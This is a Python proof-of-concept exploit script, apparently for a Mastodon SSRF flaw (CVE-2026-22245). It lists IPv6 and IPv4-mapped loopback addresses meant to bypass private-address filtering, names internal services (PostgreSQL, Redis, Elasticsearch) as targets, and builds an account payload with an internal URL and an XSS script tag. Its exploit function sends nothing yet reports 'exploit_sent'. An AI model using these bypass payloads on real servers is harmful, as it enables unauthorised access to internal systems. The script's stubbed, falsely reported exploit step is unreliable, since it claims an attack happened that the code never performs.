# CVE-2026-22245 PoC - Mastodon SSRF via Private Address Bypass
# This PoC demonstrates how an attacker can exploit the incomplete private address protection
import requests
import socket
import struct
def generate_special_ip():
"""
Generate special IP addresses that may bypass the private address check
Examples: IPv6 loopback, IPv4-mapped IPv6, etc.
"""
special_ips = [
"::1", # IPv6 loopback
"0::1", # Another IPv6 loopback notation
"::ffff:127.0.0.1", # IPv4-mapped IPv6 address
"2001:db8::1", # Documentation prefix (may be allowed)
]
return special_ips
def check_private_address(ip):
"""
Simulate Mastodon's incomplete private address check
This shows which IPs would bypass the protection
"""
# Simplified check - missing some IP ranges
private_ranges = [
("127.0.0.0", "127.255.255.255"),
("10.0.0.0", "10.255.255.255"),
("172.16.0.0", "172.31.255.255"),
("192.168.0.0", "192.168.255.255"),
]
try:
ip_int = struct.unpack('!I', socket.inet_aton(ip))[0]
for start, end in private_ranges:
start_int = struct.unpack('!I', socket.inet_aton(start))[0]
end_int = struct.unpack('!I', socket.inet_aton(end))[0]
if start_int <= ip_int <= end_int:
return False # Blocked
return True # Allowed (vulnerable)
except:
# IPv6 addresses may bypass this check
return True # Vulnerable
def exploit_mastodon(target_url, internal_service):
"""
Exploit Mastodon SSRF to access internal services
"""
# Malicious payload that triggers SSRF
payload = {
'name': 'Malicious Account',
'url': f'http://{internal_service}/', # Target internal service
'note': '<script>alert(1)</script>'
}
# In real attack, this would be sent via ActivityPub or webfinger
print(f"[*] Targeting: {target_url}")
print(f"[*] Attempting to access internal service: {internal_service}")
# The vulnerable endpoint would process this and make a request
# to the internal service if the IP check is bypassed
return {
'status': 'exploit_sent',
'target_internal': internal_service,
'method': 'ActivityPub/Webfinger SSRF'
}
if __name__ == "__main__":
print("=== CVE-2026-22245 Mastodon SSRF PoC ===\n")
# Check which IPs bypass protection
print("[*] Checking special IP addresses:")
for ip in generate_special_ip():
bypasses = check_private_address(ip)
status = "VULNERABLE (bypasses check)" if bypasses else "BLOCKED"
print(f" - {ip}: {status}")
print("\n[*] Target internal services to exploit:")
internal_services = [
"localhost:5432", # PostgreSQL
"localhost:6379", # Redis
"localhost:9200", # Elasticsearch
"127.0.0.1:3000", # Local Mastodon instance
"192.168.1.1:8080", # Internal web services
]
for service in internal_services:
print(f" - {service}")
print("\n[!] Note: This PoC is for educational purposes only.")
print("[!] Always obtain proper authorization before testing.")